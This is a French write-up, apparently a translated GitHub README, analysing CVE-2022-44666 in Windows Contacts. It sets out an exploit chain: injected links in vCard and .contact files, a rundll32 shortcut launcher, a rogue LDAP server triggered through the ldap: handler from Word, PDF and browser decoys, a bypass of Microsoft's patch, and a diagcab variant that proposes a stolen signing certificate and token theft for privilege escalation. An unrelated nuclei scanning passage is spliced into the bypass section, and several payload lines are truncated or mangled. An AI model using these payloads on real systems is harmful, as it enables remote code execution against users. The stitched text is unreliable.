
Analyse technique et preuve de concept pour CVE-2022-44666, une vulnérabilité d'échappement d'attribut href dans le contrôle syslink des Contacts Windows permettant l'exécution de code à distance via des fichiers VCF/.contact spécialement conçus et le gestionnaire de protocole LDAP.
Voici l'histoire d'un autre 0day oublié, entièrement divulgué il y a plus de 4 ans par [John Page (aka hyp3rlinx)][R.1]. Pour comprendre le rapport, vous devez considérer que je suis stupide :-) Et ma stupidité me pousse à emprunter des chemins plus longs pour résoudre des problèmes simples, mais elle me conduit aussi à découvrir d'autres façons d'exploiter certains bugs. Pourquoi dis-je cela ? Parce que je n'arrivais pas à comprendre rapidement que la façon de créer un fichier .contact est simplement de naviguer vers le dossier Contact pour créer le contact, au lieu de cela, j'ai utilisé ces informations pour d'abord créer un fichier VCF, puis j'ai pensé à tort qu'il s'agissait d'une variante. Cela était aussi dû au fait que mon cerveau ne peut pas comprendre que certains 0days soient oubliés pendant si longtemps ¯\(ツ)/¯ Une fois cela fait et après les réponses « wontfix » de [MSRC][R.2] et [ZDI][R.3], des recherches plus poussées ont été menées pour augmenter la sévérité, aboutissant finalement aux fichiers .contact et au gestionnaire de protocole URL Windows « ldap ».
Pendant que je lisais le code d'exploitation de [cette vulnérabilité][R.4] qui a en fait été divulguée en tant que 0day et qu'il est possible de trouver dans le [rapport du ZDI][R.5].
Mise à jour 2022/07/21 : Après avoir signalé ce cas à MS, les gens de MSRC m'ont à juste titre signalé que Contacts Windows n'est pas le programme par défaut pour ouvrir les fichiers VCF.

Des recherches supplémentaires démontrent néanmoins que le programme par défaut pour les fichiers VCF sur Win7 ESU & WinServer2019 est Contacts Windows (wab.exe), sinon MS People (PeopleApp.exe) est utilisé. Voici un tableau complet de ces tests :
Quoi qu'il en soit, ils soutiennent toujours qu'il y a une certaine ingénierie sociale impliquée, comme l'ouverture d'un fichier VCF manipulé et le clic sur certains liens pour exploiter le bug, ce qui ne répond donc pas aux critères de bug MSRC pour une mise à jour de sécurité.

Mise à jour 2022/07/25 : Eh bien, après des recherches plus approfondies, il s'agit du même bug. J'ai finalement réussi à trouver une preuve de concept avec un fichier .contact. Il est en fait possible d'analyser correctement un fichier .contact en utilisant des entités HTML. Notez que cela résout le problème précédent (Mise à jour 2022/07/21) et que ce format de fichier (.contact) est ouvert par Contacts Windows, le programme par défaut pour cette extension de fichier, même lorsque MS Office est installé sur le système. Il nécessite juste une première association de fichier si elle n'a pas encore été faite, mais le seul programme installé par défaut pour le faire est Contacts Windows.
Mise à jour 2022/07/25 : Ces recherches plus approfondies m'ont amené à un point que j'essayais d'atteindre depuis quelque temps : utiliser un gestionnaire de protocole URL pour ouvrir automatiquement des données de contact manipulées afin d'exploiter le bug. J'ai finalement réussi à le faire fonctionner grâce au schéma d'URI ldap, qui est associé par défaut à l'application Contacts Windows. Ainsi, en configurant simplement un serveur LDAP malveillant et en fournissant les données de la charge utile sous les attributs mail, url ou wwwhomepage, l'impact de l'exploitation est accru car il n'est plus nécessaire de double-cliquer sur un fichier VCF/Contact malveillant ; nous pouvons le délivrer en utilisant des protocoles URL.
Mise à jour 2023/02/08 : En guise de geste de bonne volonté de la part de MSRC, [John Page (aka hyp3rlinx)][R.1] a été inclus dans la page de remerciements pour la découverte de [CVE-2022-44666][R.10].

Le rapport est essentiellement le même que les liens ci-dessus, mais j'ai un peu amélioré l'ingénierie sociale impliquée. En fait, la première chose que j'ai faite a été d'améliorer la façon dont les liens sont vus, comme s'il s'agissait d'une vulnérabilité XSS ; c'est en réalité une injection HTML, il est donc possible de fermer le premier élément d'ancrage et d'en insérer un nouveau. Ensuite, je voulais supprimer la visibilité de ces éléments HTML, donc définir un « innerHTML » aussi long que possible suffirait à les cacher (en raison des limites de caractères).
Voici la charge utile finale utilisée :```html URL;WORK:">CLICKMEEEEE...
Pour voir ce qui se passe, exécutez procmon et configurez une fausse cible d'attribut href comme ceci :```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>
Une fois le lien cliqué, une sortie comme celle-ci est observée dans procmon :

Voici la stacktrace pour la première opération «CreateFile» :``` 0 FLTMGR.SYS FltpPerformPreCallbacksWorker + 0x36c 0xfffff806675a666c C:\WINDOWS\System32\drivers\FLTMGR.SYS 1 FLTMGR.SYS FltpPassThroughInternal + 0xca 0xfffff806675a611a C:\WINDOWS\System32\drivers\FLTMGR.SYS 2 FLTMGR.SYS FltpCreate + 0x310 0xfffff806675dc0c0 C:\WINDOWS\System32\drivers\FLTMGR.SYS 3 ntoskrnl.exe IofCallDriver + 0x55 0xfffff8066904e565 C:\WINDOWS\system32\ntoskrnl.exe 4 ntoskrnl.exe IoCallDriverWithTracing + 0x34 0xfffff8066909c224 C:\WINDOWS\system32\ntoskrnl.exe 5 ntoskrnl.exe IopParseDevice + 0x117d 0xfffff806694256bd C:\WINDOWS\system32\ntoskrnl.exe 6 ntoskrnl.exe ObpLookupObjectName + 0x3fe 0xfffff8066941329e C:\WINDOWS\system32\ntoskrnl.exe 7 ntoskrnl.exe ObOpenObjectByNameEx + 0x1fa 0xfffff806694355fa C:\WINDOWS\system32\ntoskrnl.exe 8 ntoskrnl.exe NtQueryAttributesFile + 0x1c5 0xfffff80669501125 C:\WINDOWS\system32\ntoskrnl.exe 9 ntoskrnl.exe KiSystemServiceCopyEnd + 0x25 0xfffff806692097b5 C:\WINDOWS\system32\ntoskrnl.exe 10 ntdll.dll NtQueryAttributesFile + 0x14 0x7ff8f0aed4e4 C:\Windows\System32\ntdll.dll 11 KernelBase.dll GetFileAttributesW + 0x85 0x7ff8ee19c045 C:\Windows\System32\KernelBase.dll 12 shlwapi.dll PathFileExistsAndAttributesW + 0x5a 0x7ff8ef20212a C:\Windows\System32\shlwapi.dll 13 shlwapi.dll PathFileExistsDefExtAndAttributesW + 0xa1 0x7ff8ef2022b1 C:\Windows\System32\shlwapi.dll 14 shlwapi.dll PathFileExistsDefExtW + 0x3f 0x7ff8ef2021ef C:\Windows\System32\shlwapi.dll 15 shlwapi.dll PathFindOnPathExW + 0x2f7 0x7ff8ef201f77 C:\Windows\System32\shlwapi.dll 16 shell32.dll PathResolve + 0x154 0x7ff8eebb0954 C:\Windows\System32\shell32.dll 17 shell32.dll CShellExecute::QualifyFileIfNeeded + 0x105 0x7ff8eebb05c9 C:\Windows\System32\shell32.dll 18 shell32.dll CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e 0x7ff8eeb1e422 C:\Windows\System32\shell32.dll 19 shell32.dll CShellExecute::_DoExecute + 0x6d 0x7ff8eeb1e1cd C:\Windows\System32\shell32.dll 20 shell32.dll <lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d 0x7ff8eeb09fed C:\Windows\System32\shell32.dll 21 SHCore.dll _WrapperThreadProc + 0xe9 0x7ff8f098bf69 C:\Windows\System32\SHCore.dll 22 kernel32.dll BaseThreadInitThunk + 0x14 0x7ff8f07e7034 C:\Windows\System32\kernel32.dll 23 ntdll.dll RtlUserThreadStart + 0x21 0x7ff8f0aa2651 C:\Windows\System32\ntdll.dll
En définissant un point d'arrêt dans **Shell32!ShellExecuteExW**, nous pouvons avoir une image plus claire des fonctions impliquées :```
CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000 wab.exe
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410 mov qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
# Child-SP RetAddr Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
Et le pseudo-code impliqué est le suivant :```cpp _int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4) {
...
default:
if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
break;
}
} return 1i64; }
__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3) { const unsigned __int16 *v3; // rbx HWND v4; // rdi unsigned int v5; // ebx BOOL v6; // ebx __int64 v7; // rdx OLECHAR *v8; // rax signed int v10; // eax DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h] SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h] OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]
v3 = a3; v4 = a1; memset_0(Dst, 0, 0x1048ui64); pcchCanonicalized = 2084; v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0); if ( (v5 & 0x80000000) == 0 ) { v6 = UrlIsW(Dst, URLIS_FILEURL); pExecInfo.hProcess = 0i64; pExecInfo.hwnd = 0i64; pExecInfo.lpVerb = 0i64; _mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64); *(_OWORD *)&pExecInfo.hInstApp = 0i64; *(_OWORD *)&pExecInfo.lpClass = 0i64; *(_OWORD *)&pExecInfo.dwHotKey = 0i64; if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE { v10 = GetLastError(); v5 = (unsigned __int16)v10 | 0x80070000; if ( v10 <= 0 ) v5 = v10; } } ... }
Après cela, il devient clair que le problème implique en réalité les contrôles [SysLink dans la bibliothèque comctl32.dll][R.6] et la façon dont l'attribut href est analysé par la bibliothèque wab32.dll.
Il n'est pas possible d'utiliser des emplacements partagés distants ou des webdavs pour exploiter cela.```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5C127.0.0.1%4080%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5Cvboxsvr%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
Les informations du fichier sont interrogées mais jamais exécutées.

Il est possible d'utiliser des chemins relatifs tels que :```html URL;WORK:">CLICKMEEEEE...

Exemple :```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/hidden%5Cpayload.exe">CLICKMEEEEE...</a>

En allant plus loin et en testant rundll32 comme vecteur d'attaque, j'ai remarqué qu'il n'était pas possible d'utiliser des arguments avec l'exécutable de la charge utile sélectionné. Cependant, en utilisant un fichier .lnk qui cible un exécutable choisi, il était possible d'utiliser des arguments en ligne de commande. C'est un peu délicat, mais ça fonctionne.```html URL;WORK:">CLICKMEEEEE...
Cible de run.lnk:```
rundll32.exe hidden\payload.bin,Foo"

Cela semble plus intéressant car il n'est pas nécessaire de placer un exécutable sur le système cible.
Exécution de code à distance en tant qu'utilisateur connecté.
Il doit exister une association de fichiers pour utiliser Windows Contacts afin d'ouvrir les fichiers .vcf.
Mise à jour 2021/07/25 : Pour les fichiers Contact (.contact), il n'existe qu'une seule application pour les ouvrir par défaut : Windows Contacts, même si MS Office est installé sur le système cible.
Utilisation des fichiers situés dans ./report-pocs/ :
Il y a quelques vidéos jointes dans ./videos :


Ceci est un résumé des fichiers de preuve de concept situés dans ./report-pocs/ :
Et les fichiers situés dans ./src :
Pour une exploitation plus avancée, et étant donné que la vulnérabilité ne permet pas de charger des fichiers depuis un emplacement partagé distant, le protocole URI "search-ms" est un vecteur intéressant. Vous trouverez des preuves de concept qui ne déclenchent qu'un binaire local comme calc ou notepad, ainsi que des preuves de concept plus complexes que j'ai nommées exploit weaponisé, car elles n'exécutent pas de fichiers locaux. Ces pocs et exploits se trouvent dans ./further-pocs/.
Ceci est un résumé des applications cibles :
Pour reproduire :
Configurez un emplacement partagé distant (SMB ou WebDav). Copiez-y le contenu de ./further-pocs/to-copy-in-remote-shared-location/.
Si vous le souhaitez, masquez les fichiers en exécutant ./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat.
Modifiez le fichier exploit.html/poc.html situé dans ./further-pocs/[vecteur ou app cible]/remote-weaponized-by-searchms/ pour pointer vers votre emplacement partagé distant.
Démarrez un serveur web dans le chemin de l'application cible, c'est-à-dire : ./further-pocs/[vecteur ou app cible]/[poc||remote-weaponized-by-searchms]/.
Exécutez les fichiers poc/exploit selon le cas.
Pour plus d'informations, regardez les vidéos situées dans ./videos :




De plus, voici tous les fichiers pour l'exploitation avancée :
Après avoir reçu la Mise à jour 2022/07/21 de la part de MSRC, j'ai décidé d'examiner l'extension de fichier Contact pour confirmer s'il s'agit du même cas que celui découvert par le chercheur original, et bien sûr c'est le cas. Ma première preuve de concept utilisait simplement un format de fichier différent, mais le bug est le même. En utilisant wabmig.exe situé dans "C:\Program Files\Windows Mail", il est possible de convertir tous les fichiers VCF en fichiers Contact.

Et comme mentionné dans les mises à jour de l'introduction, ces fichiers sont ouverts par Windows Contacts (programme par défaut).
Les étapes pour reproduire sont les mêmes que celles utilisées pour les fichiers VCF. Les mêmes restrictions observées sur les fichiers VCF s'appliquent aux fichiers Contact, c'est-à-dire qu'il n'est pas possible d'utiliser des emplacements partagés distants pour l'attribut "href", mais il est toujours possible d'utiliser des chemins locaux ou le protocole URL "search-ms".
Voici tous les fichiers ajoutés ou modifiés pour exploiter les fichiers Contact :
Comme mentionné ci-dessus, ces recherches avancées m'ont amené à un point que j'essayais d'atteindre depuis quelque temps : utiliser un gestionnaire de protocole URL pour ouvrir automatiquement des données de contact conçues afin d'exploiter le bug. Ce défi a finalement été relevé grâce au schéma d'URI ldap.```js ... Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\LDAP] @="URL:LDAP Protocol" "EditFlags"=hex:02,00,00,00 "URL Protocol"=""
[HKEY_CLASSES_ROOT\LDAP\Clsid] @="{228D9A81-C302-11cf-9AA4-00AA004A5691}"
[HKEY_CLASSES_ROOT\LDAP\shell]
[HKEY_CLASSES_ROOT\LDAP\shell\open]
[HKEY_CLASSES_ROOT\LDAP\shell\open\command]
@=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,
00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,
4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,
00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00
...
C'est-à-dire :```
"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
Donc simplement en mettant en place un serveur LDAP malveillant et en servant les données de la charge utile, il est possible d'utiliser ce gestionnaire de protocole url pour lancer Windows Contacts (wab.exe) avec une charge utile malveillante dans les attributs ldif mail, url ou wwwhomepage. Notez que je n'ai pas réussi à faire fonctionner cela avec l'attribut "wwwhomepage" comme indiqué [ici][R.8], mais cela devrait théoriquement fonctionner.
Le contenu ldif créé est simplement quelque chose comme ceci :```html ... dn: dc=org dc: org objectClass: dcObject
dn: dc=example,dc=org dc: example objectClass: dcObject objectClass: organization
dn: ou=people,dc=example,dc=org objectClass: organizationalUnit ou: people
dn: cn=Microsoft,ou=people,dc=example,dc=org cn: Microsoft gn: Microsoft company: Microsoft title: Microsoft KB5001337-hotfix mail:">Run-installer... url:">Run-installer... wwwhomepage:">Run-installer... objectclass: top objectclass: person objectClass: inetOrgPerson ...
Et le code du serveur LDAP malveillant a été emprunté au serveur de démarrage rapide du projet ldaptor, disponible [ici][R.9].
Voici un résumé des applications cibles :
* Navigateurs : MS Edge, Google Chrome, Mozilla Firefox & Opera.
* MS Word.
* Lecteurs PDF (principalement Adobe Acrobat Reader DC & Foxit PDF Reader).
Les étapes pour reproduire sont :
1. Copiez [./further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs) dans un emplacement partagé distant (SMB ou WebDav).
2. Si vous le souhaitez, masquez les fichiers en exécutant [./further-pocs/MSWord/setup-hidden.bat](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/setup-hidden.bat).
3. Installez ldaptor avec pip : pip install ldaptor. Notez que cela a été testé avec Python 2.7 x64.
4. Démarrez le serveur LDAP malveillant situé dans [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py)
5. Démarrez un serveur web dans le chemin de l'application cible, soit : ./further-pocs/[vecteur ou application cible]/url-protocol-ldap/.
6. Exécutez les fichiers d'exploitation selon le cas.
7. Pour plus d'informations, regardez les vidéos situées dans [./videos](https://github.com/j00sean/cve-2022-44666/blob/main/videos) :
- 7.1. Pour les navigateurs : [./videos/ldap-browsers-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-browsers-exploit.gif).

- 7.2. Pour MS Word : [./videos/ldap-msword-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-msword-exploit.gif).

- 7.3. Pour les lecteurs PDF : [./videos/ldap-pdfreaders-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-pdfreaders-exploit.gif).

Voici les fichiers supplémentaires pour exploiter le protocole ldap dans une URL :
+ [./further-pocs/browsers/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/browsers/url-protocol-ldap/exploit.html) : fichier HTML pour charger le protocole ldap dans une URL sur un serveur LDAP malveillant qui renvoie des données conçues pour les champs mail et urls.
+ [./further-pocs/MSWord/url-protocol-ldap/poc.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/poc.html) : modèle distant, aussi appelé activex htmlfile, pour charger le protocole ldap dans une URL sur un serveur LDAP malveillant qui renvoie des données conçues pour les champs mail et urls.
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.rtf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.rtf) : fichier Word au format RTF qui déclenche un modèle distant (activex htmlfile).
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.docx](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.docx) : fichier Word au format DOCX qui déclenche un modèle distant (activex htmlfile).
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.html) : fichier HTML pour charger le protocole ldap dans une URL sur un serveur LDAP malveillant qui renvoie des données conçues pour les champs mail et urls.
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf) : PDF qui déclenche le navigateur par défaut pour exécuter le protocole URI "ldap".
+ [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py) : script Python basé sur l'exemple de serveur pour ldaptor, qui fonctionne avec Python 2.7 et sert les données conçues pour exploiter le bogue via les attributs ldif mail, url et wwwhomepage.
## CVE-2022-44666 : Analyse du correctif et correctif incomplet
Le 13 décembre 2022, Microsoft a publié le correctif pour cette vulnérabilité sous le nom de [CVE-2022-44666][R.10].
Les versions utilisées pour le diff du correctif (situé dans C:\Program Files\Common Files\System\wab32.dll) étaient :
+ MD5 : 588A3D68F89ABF1884BEB7267F274A8B (avant correctif)
+ MD5 : D1708215AD2624E666AFD97D97720E81 (après correctif)
En différenciant la bibliothèque affectée (wab32.dll) avec [Diaphora][R.11] par [@matalaz][R.12], nous découvrirons quelques nouvelles fonctions :

Et voici les correspondances partielles :

En examinant le nouveau code dans la fonction "fnSummaryProc" :```cpp
__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{
...
if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) ) // (1)
{
v38 = (unsigned __int16 *)2085;
v39 = &CPercentEncodeRFC3986::`vftable';
v40 = v23;
v41 = v26;
v28 = CPercentEncodeString::Encode(
(CPercentEncodeString *)&v39,
(unsigned __int16 *)&Dst,
(unsigned __int64 *)&v38,
v25);
v29 = v7;
if ( !v28 )
{
v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
SafeExecute(v29, v24, v30); // (2)
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38);
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44; // (3)
}
}
v31 = GetParent(v29);
ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
return 1i64;
}
...
}
Après le correctif, le nouveau code appelle la fonction « SafeExecute » (2) ou affiche une boîte de message (4).

Pour atteindre l'appel de la fonction « SafeExecute » (2), il est possible de suivre le flux de code en (1) :```cpp _BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn) { const WCHAR *v1; // rbx _BOOL8 result; // rax DWORD pcchOut; // [rsp+30h] [rbp-68h] char Dst; // [rsp+40h] [rbp-58h]
v1 = pszIn; result = 0; if ( UrlIsW(pszIn, URLIS_URL) ) // (5) { memset_0(&Dst, 0, 0x40ui64); pcchOut = 32; if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0 && (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) ) // (6) { result = 1; } } return result; }
Cette fonction vérifie d'abord si l'[URL est valide en (5)][R.13], puis elle vérifie si elle commence par "http" ou "https" en (6). Ce chemin de code semble assez sûr. En revenant à la fonction "fnSummaryProc", il existe un autre chemin de code qui pourrait aider à contourner le correctif en (3).```cpp
__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
unsigned __int16 v2; // ax
unsigned __int16 **v3; // r14
unsigned __int16 *v4; // rdi
unsigned __int16 *v5; // r15
unsigned __int16 v6; // dx
unsigned __int16 *v7; // r8
unsigned __int16 *v8; // rcx
WCHAR v9; // ax
_WORD *v10; // rsi
int v11; // ebp
LPWSTR v12; // rax
unsigned __int16 *v14; // rax
v2 = *a1;
v3 = a2;
v4 = a1;
v5 = a1;
while ( v2 && v2 != 0x3C )
{
a1 = CharNextW(a1);
v2 = *a1;
}
v6 = *a1;
v7 = a1;
if ( *a1 )
{
v8 = a1 + 1;
v4 = v8;
}
else
{
v8 = v4;
}
v9 = *v8;
v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
v11 = v6 != 0;
if ( *v8 & 0xFFBF )
{
while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
{
if ( v9 == 0x40 ) // (7)
{
v14 = CharNextW(v8);
if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) ) // (8)
return 0i64;
if ( v3 )
{
if ( v10 )
{
*v10 = 0;
TrimSpaces(v5);
}
*v3 = v4;
}
return 1i64;
}
v12 = CharNextW(v8);
v8 = v12;
v9 = *v12;
if ( !v9 )
return 0i64;
}
}
return 0i64;
}
Une chose a retenu mon attention à ce sujet dans (7), où le code vérifie s'il existe un caractère "@". Ensuite, il appelle la fonction "IsDomainName" afin de vérifier si la chaîne après le caractère "@" est un nom de domaine :```cpp __int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3) { int v3; // edi int v4; // ebx int v5; // er9 __int64 v6; // rdx
v3 = a3; v4 = a2; if ( !a1 ) return 0i64; LABEL_2: v5 = *a1; if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E ) return 0i64; while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) ) { if ( (unsigned __int16)v5 >= 0x80u ) return 0i64; if ( (unsigned __int16)(v5 - 10) <= 0x36u ) { v6 = 19140298416324617i64; if ( _bittest64(&v6, (unsigned int)(v5 - 10)) ) return 0i64; } if ( (_WORD)v5 == 46 ) { a1 = CharNextW(a1); if ( a1 ) goto LABEL_2; return 0i64; } a1 = CharNextW(a1); v5 = *a1; } if ( v4 ) { if ( (_WORD)v5 != 0x3E ) return 0i64; if ( v3 ) *a1 = 0; } return 1i64; }
Donc le contournement du correctif est assez simple. Il suffit d'utiliser un seul caractère "@". Les attributs href de lien symbolique comme ceux-ci contourneront avec succès le correctif :```html
hidden\@payload.lnk
hidden\@payload.exe
nuclei -u https://example.com -t ~/nuclei-templates/cves -o output.txt
Ceci analysera https://example.com pour toute correspondance avec vos modèles nuclei dans ~/nuclei-templates/cves et enregistrera la sortie json de nuclei dans le fichier situé ici : output.txt. Nous vous suggérons d'avoir un répertoire général des modèles à inclure, mais si vous voulez installer nuclei avec rien d'autre que des CVE, vous trouverez cela dans le référentiel de modèles nuclei.```html
[email protected]
[email protected]
Pour plus d'informations, il y a une vidéo pour un [fichier de contact autonome](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/simple-payload.gif).

La preuve de concept se trouve dans [./bypass/report-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/report-pocs).
Et une autre pour [MS Word et protocole d'URL LDAP](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-exploit.gif).

La preuve de concept se trouve dans [./bypass/further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/further-pocs).
Un jour après la publication du correctif, ces informations ont été envoyées à MSRC. Malheureusement, le dossier a été récemment clos sans autre information à ce sujet.

## Fichier Diagcab comme charge utile
Après [CVE-2022-30190][R.14] également connue sous le nom de [vulnérabilité Follina][R.15] et [CVE-2022-34713][R.16] également connue sous le nom de [vulnérabilité DogWalk][R.17], une [technique connue publiquement mais sous-estimée][R.18] est revenue à la vie grâce à [@buffaloverflow][R.19]. Mon compagnon et ami [Eduardo Braun Prado][R.20] m'a donné l'idée d'utiliser cette technique ici.
Il y a quelques prérequis pour faire ceci :
1. L'utilisateur cible doit appartenir au groupe administrateur. Sinon, il y a une invite UAC.
2. Le fichier diagcab doit être signé, donc le certificat de signature de code doit être installé sur l'ordinateur cible.
Un scénario d'attaque réel consisterait à voler un certificat de signature de code qui est en fait installé dans le système cible. Mais comme il s'agit simplement d'une preuve de concept, un certificat de signature de code auto-signé a été généré et utilisé pour signer le fichier diagcab nommé [@payload.diagcab](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/MSWord/hidden/%40payload.diagcab).
Donc, pour reproduire, il est nécessaire d'installer le certificat situé dans [cert.cer](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/cert.cer) sous Autorités de certification racines de confiance [comme ceci](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/install-certificate.gif) :

Pour finalement élever les privilèges, un vol/emprunt de jeton pourrait être utilisé. Dans ce cas, la technique du ["processus parent"][R.21] a été [choisie][R.22]. Une version modifiée de ce script a été incluse dans les scripts de résolution.
Pour plus d'informations, il y a une vidéo pour [MS Word et protocole d'URL LDAP](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-diagcab-exploit.gif).

La preuve de concept se trouve dans [./bypass/diagcab-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs).
## Fichiers JAR comme charge utile
